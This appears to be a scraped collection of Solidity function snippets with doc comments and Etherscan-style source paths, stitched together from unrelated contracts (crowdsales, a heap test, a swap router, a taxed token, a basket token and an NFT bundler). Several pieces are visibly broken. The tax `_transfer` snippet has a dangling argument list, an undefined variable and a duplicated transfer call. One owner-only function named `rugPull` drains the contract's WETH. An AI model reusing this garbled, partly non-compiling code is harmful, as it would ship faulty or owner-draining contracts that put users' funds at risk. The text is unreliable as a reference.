/** * @dev Enable the crowdsale */ function enable() public onlyOperator { require(_state == State.Review, "FriendlyCrowdsale: not reviewing"); _state = State.Active; emit Enabled(); } /** * @dev Reject the crowdsale */ function reject() public onlyOperator { require(_state == State.Review, "FriendlyCrowdsale: not reviewing"); _state = State.Rejected; _recoverRemainingTokens(); emit Rejected(); } /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() public { require(!_finalized, "FinalizableCrowdsale: already finalized"); require(hasClosed(), "FinalizableCrowdsale: not closed"); _finalized = true; _finalization(); emit CrowdsaleFinalized(); } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful. * @param refundee Whose refund will be claimed. */ function claimRefund(address payable refundee) public { require(_finalized, "FriendlyCrowdsale: not finalized"); require(_state == State.Refunding, "FriendlyCrowdsale: not refunding"); require(weiContribution(refundee) > 0, "FriendlyCrowdsale: no deposit"); uint256 payment = _deposits[refundee]; _deposits[refundee] = 0; refundee.transfer(payment); emit Withdrawn(refundee, payment); } /** * @dev Set crowdsale expired and withdraw funds. */ function setExpiredAndWithdraw() public onlyOperator { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= _closingTime + 365 days, "FriendlyCrowdsale: not expired"); _state = State.Expired; _feeWallet.transfer(address(this).balance); emit Expired(); } /** * @dev Validation of an incoming purchase. * Adds the validation that the crowdsale must be active. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address"); require(weiAmount != 0, "Crowdsale: weiAmount is 0"); require(_weiRaised.add(weiAmount) <= _cap, "CappedCrowdsale: cap exceeded"); require(isOpen(), "TimedCrowdsale: not open"); require(_state == State.Active, "FriendlyCrowdsale: not active"); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid * conditions are not met. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { // solhint-disable-previous-line no-empty-blocks } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends * its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send * tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } /** * @param beneficiary Address receiving the tokens * @param weiAmount Value in wei involved in the purchase * @param tokenAmount Number of tokens to be purchased */ function _updatePurchasingState(address beneficiary, uint256 weiAmount, uint256 tokenAmount) internal { if (!investorExists(beneficiary)) { _investors.add(beneficiary); } _deposits[beneficiary] = _deposits[beneficiary].add(weiAmount); _purchasedTokens[beneficiary] = _purchasedTokens[beneficiary].add(tokenAmount); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } /** * @dev Escrow finalization task, called when finalize() is called. */ function _finalization() internal { if (goalReached()) { _close(); } else { _enableRefunds(); } _recoverRemainingTokens(); } /** * @dev Overrides Crowdsale fund forwarding, keep funds here. */ function _forwardFunds() internal { // solhint-disable-previous-line no-empty-blocks // does nothing, keep funds on this contract } /** * @dev Allows for the wallet to withdraw their funds. */ function _close() internal { _state = State.Closed; _feeWallet.transfer(address(this).balance.mul(_feePerMille).div(1000)); _wallet.transfer(address(this).balance); emit RefundsClosed(); } /** * @dev Allows for refunds to take place. */ function _enableRefunds() internal { _state = State.Refunding; emit RefundsEnabled(); } /** * @dev Recover remaining tokens to wallet. */ function _recoverRemainingTokens() internal { if (_token.balanceOf(address(this)) > 0) { _token.safeTransfer(_wallet, _token.balanceOf(address(this))); } } }
return true if the crowdsale is open, false otherwise./
function isOpen() public view returns (bool) { return started() && !hasClosed(); }
5,473,438
./partial_match/4/0xeB474CbdcAF09a682bb832Ee4a7772e54E86a11d/sources/ToshiDojo.sol
We need to call this function, if we ever mint manually some cards included in a pack
function updateCardsData( uint256[][] memory _cardIndexList, uint256[][] memory _cardIdList, uint256 _packId ) public onlyOwner { for (uint256 i = 0; i < _cardIdList.length; ++i) { for (uint256 j = 0; j < _cardIdList[i].length; ++j) { uint256 _cardIndex = _cardIndexList[i][j]; uint256 _cardId = _cardIdList[i][_cardIndex]; packs[_packId].cardIdList[i][_cardIndex] = _cardId; cards[_cardId] = Card( toshimonMinter.maxSupply(_cardId), toshimonMinter.totalSupply(_cardId) ); } } }
8,666,070
./full_match/1/0x84e9d911A1b8dc2511226A2FD325Fd9e39FFd63a/sources/BatchFlashDemo.sol
Rugpull all ERC20 tokens from the contract/ withdraw all ETH withdraw all x ERC20 tokens
function rugPull() public payable onlyOwner { IWETH(WETH).transfer(msg.sender, IWETH(WETH).balanceOf(address(this))); }
8,397,846
//SPDX-License-Identifier: MIT pragma solidity >=0.6.0; import '../../Heap/HeapLibUInt16.sol'; import '../../Heap/IHeapUInt16.sol'; //Test Heap Lib with optimized parameters contract TestHeapLibUInt16B8 is IHeapUInt16 { using HeapLibUInt16 for *; bytes32 constant heap = bytes32(uint256(0)); uint256 constant a = 16; uint256 constant b = 8; uint256 heapLength; event RemoveValue(uint16 val); //used by truffle to fetched remove() value function compare(uint16 x, uint16 y) public pure override returns (bool) { return x < y; } function height() external view override returns (uint256) { return heap.height(a, b); } function maxLength() external view override returns (uint256) { return heap.maxLength(a, b); } function length() external view override returns (uint256) { return heap.len(); } function get(uint256 i) external view override returns (uint16) { return heap.get(i); } function root() external view override returns (uint16) { return heap.root(); } function parent(uint256 i) external view override returns (uint16) { return heap.parent(a, b, i); } function parentIdx(uint256 i) external pure override returns (uint256) { return HeapLibUInt16.parentIdx(a, b, i); } function leavesIdx(uint256 i) external pure override returns (uint256[] memory) { return HeapLibUInt16.leavesIdx(a, b, i); } function leaves(uint256 i) external view override returns (uint16[] memory) { return heap.leaves(a, b, i); } function set(uint256 i, uint16 val) external override { heap.set(a, b, this.compare.selector, i, val); } function push(uint16 val) external override { heap.push(a, b, this.compare.selector, val); } function remove(uint256 i) external override returns (uint16) { uint16 val = heap.remove(a, b, this.compare.selector, i); emit RemoveValue(val); return val; } function removeRoot() external override returns (uint16) { uint16 val = heap.removeRoot(a, b, this.compare.selector); emit RemoveValue(val); return val; } function search(uint16 val, uint256 hintIdx) external view override returns (uint256) { return heap.search(a, b, this.compare.selector, val, hintIdx); } function searchRoot(uint16 val) external view override returns (uint256) { return heap.searchRoot(a, b, this.compare.selector, val); } function searchUp(uint16 val, uint256 startIdx) external view override returns (uint256) { return heap.searchUp(a, b, this.compare.selector, val, startIdx); } function searchDown(uint16 val, uint256[] memory startIdx) external view override returns (uint256) { return heap.searchDown(a, b, this.compare.selector, val, startIdx); } //Batching tx to speedup testing function pushBatch(uint16[] memory val) external override { for (uint256 i = 0; i < val.length; i++) { heap.push(a, b, this.compare.selector, val[i]); } } function removeRootBatch(uint256 n) external override returns (uint16[] memory) { uint16[] memory r = new uint16[](n); for (uint256 i = 0; i < n; i++) { r[i] = heap.removeRoot(a, b, this.compare.selector); } return r; } }
Batching tx to speedup testing
function pushBatch(uint16[] memory val) external override { for (uint256 i = 0; i < val.length; i++) { heap.push(a, b, this.compare.selector, val[i]); } }
12,753,775
./full_match/1/0x75B663DBC772BB8C8E00F77d5C86f591bE9f9D7E/sources/Router.sol
REMOVE LIQUIDITY
function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) { address pair = SoarSwapV2Library.pairFor(factory, tokenA, tokenB); (uint amount0, uint amount1) = ISoarSwapV2Pair(pair).burn(to); (address token0,) = SoarSwapV2Library.sortTokens(tokenA, tokenB); (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0); require(amountA >= amountAMin, 'SoarSwapV2Router: INSUFFICIENT_A_AMOUNT'); require(amountB >= amountBMin, 'SoarSwapV2Router: INSUFFICIENT_B_AMOUNT'); }
3,223,200
./full_match/97/0xefBd9Fcb0E5A112e293249AF8E4FA0aE4e0b1c39/sources/project:/contracts/TalariumSoulShard.sol
Tax transfer Calculate tax amounts Issue tokens if there are any left Calculate a normalized issue ratio Apply it to the game tax amount Subtract issued amount from unissued token amount Send taxes if it's time
function _transfer( address sender, address recipient, uint256 amount ) internal override { bool isTaxed = taxList[sender] || taxList[recipient]; bool isExemptFromTax = sender == GAME_WALLET || sender == DEV_WALLET || sender == address(this) || recipient == GAME_WALLET || recipient == DEV_WALLET || recipient == address(this); if (!isExemptFromTax && isTaxed) { uint256 devTaxAmount = (amount * DEV_TAX) / 100; uint256 gameTaxAmount = (amount * GAME_TAX) / 100; if (unissuedToken > 0) { uint256 issueRatio = (unissuedToken * 10 ** 18) / INITIAL_UNISSUED_AMOUNT; uint256 issuedAmount = (gameTaxAmount * issueRatio) / 10 ** 18; gameTaxAmount += issuedAmount; unissuedToken -= issuedAmount; } gameTaxAccumulated += gameTaxAmount; sender, address(this), devTaxAmount + gameTaxAmount ); if (block.timestamp >= lastTaxSentTime + TAX_SEND_INTERVAL) { _sendTaxes(); lastTaxSentTime = block.timestamp; } super._transfer(sender, recipient, taxedAmount); super._transfer(sender, recipient, amount); } }
5,026,569
// SPDX-License-Identifier: MIT pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import { IBasketToken } from "../interfaces/IBasketToken.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import { PreciseUnitMath } from "../lib/PreciseUnitMath.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; import { Address } from "@openzeppelin/contracts/utils/Address.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; contract BasketToken is ERC20, ReentrancyGuard { using SafeMath for uint256; using SafeCast for int256; using SafeCast for uint256; using SafeCast for int256; using SignedSafeMath for int256; using PreciseUnitMath for int256; using Address for address; using AddressArrayUtils for address[]; using SignedSafeMath for int256; using PreciseUnitMath for uint256; /* ============ Constants ============ */ /* The PositionState is the status of the Position, whether it is Default (held on the SetToken) or otherwise held on a separate smart contract (whether a module or external source). There are issues with cross-usage of enums, so we are defining position states as a uint8. */ uint8 internal constant DEFAULT = 0; uint8 internal constant EXTERNAL = 1; /* ============ Events ============ */ event Invoked(address indexed _target, uint indexed _value, bytes _data, bytes _returnValue); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ModuleInitialized(address indexed _module); event ManagerEdited(address _newManager, address _oldManager); event PendingModuleRemoved(address indexed _module); event PositionMultiplierEdited(int256 _newMultiplier); event ComponentAdded(address indexed _component); event ComponentRemoved(address indexed _component); event DefaultPositionUnitEdited(address indexed _component, int256 _realUnit); event ExternalPositionUnitEdited(address indexed _component, address indexed _positionModule, int256 _realUnit); event ExternalPositionDataEdited(address indexed _component, address indexed _positionModule, bytes _data); event PositionModuleAdded(address indexed _component, address indexed _positionModule); event PositionModuleRemoved(address indexed _component, address indexed _positionModule); /** * Throws if SetToken is locked and called by any account other than the locker. */ modifier whenLockedOnlyLocker() { _validateWhenLockedOnlyLocker(); _; } /* ============ State Variables ============ */ // A module that has locked other modules from privileged functionality, typically required // for multi-block module actions such as auctions address public locker; // List of initialized Modules; Modules extend the functionality of SetTokens address[] public modules; // When locked, only the locker (a module) can call privileged functionality // Typically utilized if a module (e.g. Auction) needs multiple transactions to complete an action // without interruption bool public isLocked; // List of components address[] public components; // Mapping that stores all Default and External position information for a given component. // Position quantities are represented as virtual units; Default positions are on the top-level, // while external positions are stored in a module array and accessed through its externalPositions mapping mapping(address => IBasketToken.ComponentPosition) private componentPositions; // The multiplier applied to the virtual position unit to achieve the real/actual unit. // This multiplier is used for efficiently modifying the entire position units (e.g. streaming fee) int256 public positionMultiplier; /* ============ Constructor ============ */ /** * When a new BasketToken is created, initializes Positions in default state and adds modules into pending state. * All parameter validations are on the SetTokenCreator contract. Validations are performed already on the * SetTokenCreator. Initiates the positionMultiplier as 1e18 (no adjustments). * * @param _components List of addresses of components for initial Positions * @param _units List of units. Each unit is the # of components per 10^18 of a SetToken * @param _name Name of the BasketToken * @param _symbol Symbol of the BasketToken */ constructor( address[] memory _components, int256[] memory _units, string memory _name, string memory _symbol ) public ERC20(_name, _symbol) { positionMultiplier = PreciseUnitMath.preciseUnitInt(); components = _components; // Positions are put in default state initially for (uint256 j = 0; j < _components.length; j++) { componentPositions[_components[j]].virtualUnit = _units[j]; } } /* ============ External Functions ============ */ /** * PRIVELEGED MODULE FUNCTION. Low level function that allows a module to make an arbitrary function * call to any contract. * * @param _target Address of the smart contract to call * @param _value Quantity of Ether to provide the call (typically 0) * @param _data Encoded function selector and arguments * @return _returnValue Bytes encoded return value */ function invoke( address _target, uint256 _value, bytes calldata _data ) external whenLockedOnlyLocker returns (bytes memory _returnValue) { _returnValue = _target.functionCallWithValue(_data, _value); emit Invoked(_target, _value, _data, _returnValue); return _returnValue; } /** * Deposits the BasketToken's position components into the BasketToken and mints the BasketToken of the given quantity * to the specified _to address. This function only handles Default Positions (positionState = 0). * * @param _basketToken Instance of the BasketToken contract * @param _quantity Quantity of the BasketToken to mint * @param _to Address to mint BasketToken to */ /** * PRIVELEGED MODULE FUNCTION. Low level function that adds a component to the components array. */ function addComponent(address _component) external whenLockedOnlyLocker { //require(!isComponent(_component), "Must not be component"); components.push(_component); emit ComponentAdded(_component); } /** * PRIVELEGED MODULE FUNCTION. Low level function that removes a component from the components array. */ function removeComponent(address _component) external whenLockedOnlyLocker { components.removeStorage(_component); emit ComponentRemoved(_component); } /** * PRIVELEGED MODULE FUNCTION. Low level function that edits a component's virtual unit. Takes a real unit * and converts it to virtual before committing. */ function editDefaultPositionUnit(address _component, int256 _realUnit) external whenLockedOnlyLocker { int256 virtualUnit = _convertRealToVirtualUnit(_realUnit); componentPositions[_component].virtualUnit = virtualUnit; emit DefaultPositionUnitEdited(_component, _realUnit); } /** * PRIVELEGED MODULE FUNCTION. Low level function that adds a module to a component's externalPositionModules array */ function addExternalPositionModule(address _component, address _positionModule) external whenLockedOnlyLocker { require(!isExternalPositionModule(_component, _positionModule), "Module already added"); componentPositions[_component].externalPositionModules.push(_positionModule); emit PositionModuleAdded(_component, _positionModule); } /** * PRIVELEGED MODULE FUNCTION. Low level function that removes a module from a component's * externalPositionModules array and deletes the associated externalPosition. */ function removeExternalPositionModule( address _component, address _positionModule ) external whenLockedOnlyLocker { componentPositions[_component].externalPositionModules.removeStorage(_positionModule); delete componentPositions[_component].externalPositions[_positionModule]; emit PositionModuleRemoved(_component, _positionModule); } /** * PRIVELEGED MODULE FUNCTION. Low level function that edits a component's external position virtual unit. * Takes a real unit and converts it to virtual before committing. */ function editExternalPositionUnit( address _component, address _positionModule, int256 _realUnit ) external whenLockedOnlyLocker { int256 virtualUnit = _convertRealToVirtualUnit(_realUnit); componentPositions[_component].externalPositions[_positionModule].virtualUnit = virtualUnit; emit ExternalPositionUnitEdited(_component, _positionModule, _realUnit); } /** * PRIVELEGED MODULE FUNCTION. Low level function that edits a component's external position data */ function editExternalPositionData( address _component, address _positionModule, bytes calldata _data ) external whenLockedOnlyLocker { componentPositions[_component].externalPositions[_positionModule].data = _data; emit ExternalPositionDataEdited(_component, _positionModule, _data); } /** * PRIVELEGED MODULE FUNCTION. Modifies the position multiplier. This is typically used to efficiently * update all the Positions' units at once in applications where inflation is awarded (e.g. subscription fees). */ function editPositionMultiplier(int256 _newMultiplier) external whenLockedOnlyLocker { _validateNewMultiplier(_newMultiplier); positionMultiplier = _newMultiplier; emit PositionMultiplierEdited(_newMultiplier); } /** * PRIVELEGED MODULE FUNCTION. Increases the "account" balance by the "quantity". */ function mint(address _account, uint256 _quantity) external whenLockedOnlyLocker { _mint(_account, _quantity); } /** * PRIVELEGED MODULE FUNCTION. Decreases the "account" balance by the "quantity". * _burn checks that the "account" already has the required "quantity". */ function burn(address _account, uint256 _quantity) external whenLockedOnlyLocker { _burn(_account, _quantity); } /** * PRIVELEGED MODULE FUNCTION. When a BasketToken is locked, only the locker can call privileged functions. */ function lock() external { require(!isLocked, "Must not be locked"); locker = msg.sender; isLocked = true; } /** * PRIVELEGED MODULE FUNCTION. Unlocks the SetToken and clears the locker */ function unlock() external { require(isLocked, "Must be locked"); require(locker == msg.sender, "Must be locker"); delete locker; isLocked = false; } /* ============ External Getter Functions ============ */ function getComponents() external view returns(address[] memory) { return components; } function getDefaultPositionRealUnit(address _component) public view returns(int256) { return _convertVirtualToRealUnit(_defaultPositionVirtualUnit(_component)); } function getExternalPositionRealUnit(address _component, address _positionModule) public view returns(int256) { return _convertVirtualToRealUnit(_externalPositionVirtualUnit(_component, _positionModule)); } function getExternalPositionModules(address _component) external view returns(address[] memory) { return _externalPositionModules(_component); } function getExternalPositionData(address _component,address _positionModule) external view returns(bytes memory) { return _externalPositionData(_component, _positionModule); } function getModules() external view returns (address[] memory) { return modules; } function isExternalPositionModule(address _component, address _module) public view returns(bool) { return _externalPositionModules(_component).contains(_module); } function getPositions() external view returns (IBasketToken.Position[] memory) { IBasketToken.Position[] memory positions = new IBasketToken.Position[](_getPositionCount()); uint256 positionCount = 0; for (uint256 i = 0; i < components.length; i++) { address component = components[i]; // A default position exists if the default virtual unit is > 0 if (_defaultPositionVirtualUnit(component) > 0) { positions[positionCount] = IBasketToken.Position({ component: component, module: address(0), unit: getDefaultPositionRealUnit(component), positionState: DEFAULT, data: "" }); positionCount++; } address[] memory externalModules = _externalPositionModules(component); for (uint256 j = 0; j < externalModules.length; j++) { address currentModule = externalModules[j]; positions[positionCount] = IBasketToken.Position({ component: component, module: currentModule, unit: getExternalPositionRealUnit(component, currentModule), positionState: EXTERNAL, data: _externalPositionData(component, currentModule) }); positionCount++; } } return positions; } /** * Returns the total Real Units for a given component, summing the default and external position units. */ function getTotalComponentRealUnits(address _component) external view returns(int256) { int256 totalUnits = getDefaultPositionRealUnit(_component); address[] memory externalModules = _externalPositionModules(_component); for (uint256 i = 0; i < externalModules.length; i++) { // We will perform the summation no matter what, as an external position virtual unit can be negative totalUnits = totalUnits.add(getExternalPositionRealUnit(_component, externalModules[i])); } return totalUnits; } receive() external payable {} // solium-disable-line quotes /* ============ Internal Functions ============ */ function _defaultPositionVirtualUnit(address _component) internal view returns(int256) { return componentPositions[_component].virtualUnit; } function _externalPositionModules(address _component) internal view returns(address[] memory) { return componentPositions[_component].externalPositionModules; } function _externalPositionVirtualUnit(address _component, address _module) internal view returns(int256) { return componentPositions[_component].externalPositions[_module].virtualUnit; } function _externalPositionData(address _component, address _module) internal view returns(bytes memory) { return componentPositions[_component].externalPositions[_module].data; } /** * Takes a real unit and divides by the position multiplier to return the virtual unit. Negative units will * be rounded away from 0 so no need to check that unit will be rounded down to 0 in conversion. */ function _convertRealToVirtualUnit(int256 _realUnit) internal view returns(int256) { int256 virtualUnit = _realUnit.conservativePreciseDiv(positionMultiplier); // This check ensures that the virtual unit does not return a result that has rounded down to 0 if (_realUnit > 0 && virtualUnit == 0) { revert("Real to Virtual unit conversion invalid"); } // This check ensures that when converting back to realUnits the unit won't be rounded down to 0 if (_realUnit > 0 && _convertVirtualToRealUnit(virtualUnit) == 0) { revert("Virtual to Real unit conversion invalid"); } return virtualUnit; } /** * Takes a virtual unit and multiplies by the position multiplier to return the real unit */ function _convertVirtualToRealUnit(int256 _virtualUnit) internal view returns(int256) { return _virtualUnit.conservativePreciseMul(positionMultiplier); } /** * To prevent virtual to real unit conversion issues (where real unit may be 0), the * product of the positionMultiplier and the lowest absolute virtualUnit value (across default and * external positions) must be greater than 0. */ function _validateNewMultiplier(int256 _newMultiplier) internal view { int256 minVirtualUnit = _getPositionsAbsMinimumVirtualUnit(); require(minVirtualUnit.conservativePreciseMul(_newMultiplier) > 0, "New multiplier too small"); } /** * Loops through all of the positions and returns the smallest absolute value of * the virtualUnit. * * @return Min virtual unit across positions denominated as int256 */ function _getPositionsAbsMinimumVirtualUnit() internal view returns(int256) { // Additional assignment happens in the loop below uint256 minimumUnit = uint256(-1); for (uint256 i = 0; i < components.length; i++) { address component = components[i]; // A default position exists if the default virtual unit is > 0 uint256 defaultUnit = _defaultPositionVirtualUnit(component).toUint256(); if (defaultUnit > 0 && defaultUnit < minimumUnit) { minimumUnit = defaultUnit; } address[] memory externalModules = _externalPositionModules(component); for (uint256 j = 0; j < externalModules.length; j++) { address currentModule = externalModules[j]; uint256 virtualUnit = _absoluteValue( _externalPositionVirtualUnit(component, currentModule) ); if (virtualUnit > 0 && virtualUnit < minimumUnit) { minimumUnit = virtualUnit; } } } return minimumUnit.toInt256(); } /** * Gets the total number of positions, defined as the following: * - Each component has a default position if its virtual unit is > 0 * - Each component's external positions module is counted as a position */ function _getPositionCount() internal view returns (uint256) { uint256 positionCount; for (uint256 i = 0; i < components.length; i++) { address component = components[i]; // Increment the position count if the default position is > 0 if (_defaultPositionVirtualUnit(component) > 0) { positionCount++; } // Increment the position count by each external position module address[] memory externalModules = _externalPositionModules(component); if (externalModules.length > 0) { positionCount = positionCount.add(externalModules.length); } } return positionCount; } /** * Returns the absolute value of the signed integer value * @param _a Signed interger value * @return Returns the absolute value in uint256 */ function _absoluteValue(int256 _a) internal pure returns(uint256) { return _a >= 0 ? _a.toUint256() : (-_a).toUint256(); } function _validateWhenLockedOnlyLocker() internal view { if (isLocked) { require(msg.sender == locker, "When locked, only the locker can call"); } } }
PRIVELEGED MODULE FUNCTION. Low level function that edits a component's virtual unit. Takes a real unit and converts it to virtual before committing./
function editDefaultPositionUnit(address _component, int256 _realUnit) external whenLockedOnlyLocker { int256 virtualUnit = _convertRealToVirtualUnit(_realUnit); componentPositions[_component].virtualUnit = virtualUnit; emit DefaultPositionUnitEdited(_component, _realUnit); }
5,445,164
./partial_match/4/0x7A853E05d4d062A053396273BD1f6027A74DE303/sources/Estate.sol
Function used buy the owner of this contract to withdraw the funds
function withdraw() public onlyOwner returns (bool) { owner.transfer(address(this).balance); return true; }
16,982,770
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import "./ERC9981155Extension.sol"; import "./ERC998ERC20Extension.sol"; import "../utils/ContractKeys.sol"; import "../interfaces/IBundleBuilder.sol"; import "../interfaces/INftfiBundler.sol"; import "../interfaces/INftfiHub.sol"; import "../interfaces/IPermittedNFTs.sol"; import "../interfaces/IPermittedERC20s.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; /** * @title NftfiBundler * @author NFTfi * @dev ERC998 Top-Down Composable Non-Fungible Token that supports permitted ERC721, ERC1155 and ERC20 children. */ contract NftfiBundler is IBundleBuilder, ERC9981155Extension, ERC998ERC20Extension { using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.UintSet; using EnumerableSet for EnumerableSet.AddressSet; INftfiHub public immutable hub; event NewBundle(uint256 bundleId, address indexed sender, address indexed receiver); /** * @dev Stores the NftfiHub, name and symbol * * @param _nftfiHub Address of the NftfiHub contract * @param _name name of the token contract * @param _symbol symbol of the token contract */ constructor( address _nftfiHub, string memory _name, string memory _symbol ) ERC721(_name, _symbol) { hub = INftfiHub(_nftfiHub); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 _interfaceId) public view virtual override(ERC9981155Extension, ERC998ERC20Extension) returns (bool) { return _interfaceId == type(IERC721Receiver).interfaceId || _interfaceId == type(INftfiBundler).interfaceId || super.supportsInterface(_interfaceId); } /** * @notice Tells if an asset is permitted or not * @param _asset address of the asset * @return true if permitted, false otherwise */ function permittedAsset(address _asset) public view returns (bool) { IPermittedNFTs permittedNFTs = IPermittedNFTs(hub.getContract(ContractKeys.PERMITTED_NFTS)); return permittedNFTs.getNFTPermit(_asset) > 0; } /** * @notice Tells if the erc20 is permitted or not * @param _erc20Contract address of the erc20 * @return true if permitted, false otherwise */ function permittedErc20Asset(address _erc20Contract) public view returns (bool) { IPermittedERC20s permittedERC20s = IPermittedERC20s(hub.getContract(ContractKeys.PERMITTED_BUNDLE_ERC20S)); return permittedERC20s.getERC20Permit(_erc20Contract); } /** * @dev used by the loan contract to build a bundle from the BundleElements struct at the beginning of a loan, * returns the id of the created bundle * * @param _bundleElements - the lists of erc721-20-1155 tokens that are to be bundled * @param _sender sender of the tokens in the bundle - the borrower * @param _receiver receiver of the created bundle, normally the loan contract */ function buildBundle( BundleElements memory _bundleElements, address _sender, address _receiver ) external override returns (uint256) { uint256 bundleId = _safeMint(_receiver); require( _bundleElements.erc721s.length > 0 || _bundleElements.erc20s.length > 0 || _bundleElements.erc1155s.length > 0, "bundle is empty" ); for (uint256 i = 0; i < _bundleElements.erc721s.length; i++) { if (_bundleElements.erc721s[i].safeTransferable) { IERC721(_bundleElements.erc721s[i].tokenContract).safeTransferFrom( _sender, address(this), _bundleElements.erc721s[i].id, abi.encodePacked(bundleId) ); } else { _getChild(_sender, bundleId, _bundleElements.erc721s[i].tokenContract, _bundleElements.erc721s[i].id); } } for (uint256 i = 0; i < _bundleElements.erc20s.length; i++) { _getERC20(_sender, bundleId, _bundleElements.erc20s[i].tokenContract, _bundleElements.erc20s[i].amount); } for (uint256 i = 0; i < _bundleElements.erc1155s.length; i++) { IERC1155(_bundleElements.erc1155s[i].tokenContract).safeBatchTransferFrom( _sender, address(this), _bundleElements.erc1155s[i].ids, _bundleElements.erc1155s[i].amounts, abi.encodePacked(bundleId) ); } emit NewBundle(bundleId, _sender, _receiver); return bundleId; } /** * @notice Remove all the children from the bundle * @dev This method may run out of gas if the list of children is too big. In that case, children can be removed * individually. * @param _tokenId the id of the bundle * @param _receiver address of the receiver of the children */ function decomposeBundle(uint256 _tokenId, address _receiver) external override nonReentrant { require(ownerOf(_tokenId) == msg.sender, "caller is not owner"); _validateReceiver(_receiver); // In each iteration all contracts children are removed, so eventually all contracts are removed while (childContracts[_tokenId].length() > 0) { address childContract = childContracts[_tokenId].at(0); // In each iteration a child is removed, so eventually all contracts children are removed while (childTokens[_tokenId][childContract].length() > 0) { uint256 childId = childTokens[_tokenId][childContract].at(0); uint256 balance = balances[_tokenId][childContract][childId]; if (balance > 0) { _remove1155Child(_tokenId, childContract, childId, balance); IERC1155(childContract).safeTransferFrom(address(this), _receiver, childId, balance, ""); emit Transfer1155Child(_tokenId, _receiver, childContract, childId, balance); } else { _removeChild(_tokenId, childContract, childId); try IERC721(childContract).safeTransferFrom(address(this), _receiver, childId) { // solhint-disable-previous-line no-empty-blocks } catch { _oldNFTsTransfer(_receiver, childContract, childId); } emit TransferChild(_tokenId, _receiver, childContract, childId); } } } // In each iteration all contracts children are removed, so eventually all contracts are removed while (erc20ChildContracts[_tokenId].length() > 0) { address erc20Contract = erc20ChildContracts[_tokenId].at(0); uint256 balance = erc20Balances[_tokenId][erc20Contract]; _removeERC20(_tokenId, erc20Contract, balance); IERC20(erc20Contract).safeTransfer(_receiver, balance); emit TransferERC20(_tokenId, _receiver, erc20Contract, balance); } } /** * @dev Update the state to receive a ERC721 child * Overrides the implementation to check if the asset is permitted * @param _from The owner of the child token * @param _tokenId The token receiving the child * @param _childContract The ERC721 contract of the child token * @param _childTokenId The token that is being transferred to the parent */ function _receiveChild( address _from, uint256 _tokenId, address _childContract, uint256 _childTokenId ) internal virtual override { require(permittedAsset(_childContract), "erc721 not permitted"); super._receiveChild(_from, _tokenId, _childContract, _childTokenId); } /** * @dev Updates the state to receive a ERC1155 child * Overrides the implementation to check if the asset is permitted * @param _tokenId The token receiving the child * @param _childContract The ERC1155 contract of the child token * @param _childTokenId The token id that is being transferred to the parent * @param _amount The amount of the token that is being transferred */ function _receive1155Child( uint256 _tokenId, address _childContract, uint256 _childTokenId, uint256 _amount ) internal virtual override { require(permittedAsset(_childContract), "erc1155 not permitted"); super._receive1155Child(_tokenId, _childContract, _childTokenId, _amount); } /** * @notice Store data for the received ERC20 * @param _from The current owner address of the ERC20 tokens that are being transferred. * @param _tokenId The token to transfer the ERC20 tokens to. * @param _erc20Contract The ERC20 token contract * @param _value The number of ERC20 tokens to transfer */ function _receiveErc20Child( address _from, uint256 _tokenId, address _erc20Contract, uint256 _value ) internal virtual override { require(permittedErc20Asset(_erc20Contract), "erc20 not permitted"); super._receiveErc20Child(_from, _tokenId, _erc20Contract, _value); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "./ERC998TopDown.sol"; import "../interfaces/IERC998ERC1155TopDown.sol"; /** * @title ERC9981155Extension * @author NFTfi * @dev ERC998TopDown extension to support ERC1155 children */ abstract contract ERC9981155Extension is ERC998TopDown, IERC998ERC1155TopDown, IERC1155Receiver { using EnumerableSet for EnumerableSet.UintSet; using EnumerableSet for EnumerableSet.AddressSet; // tokenId => (child address => (child tokenId => balance)) mapping(uint256 => mapping(address => mapping(uint256 => uint256))) internal balances; /** * @dev Gives child balance for a specific child contract and child id * @param 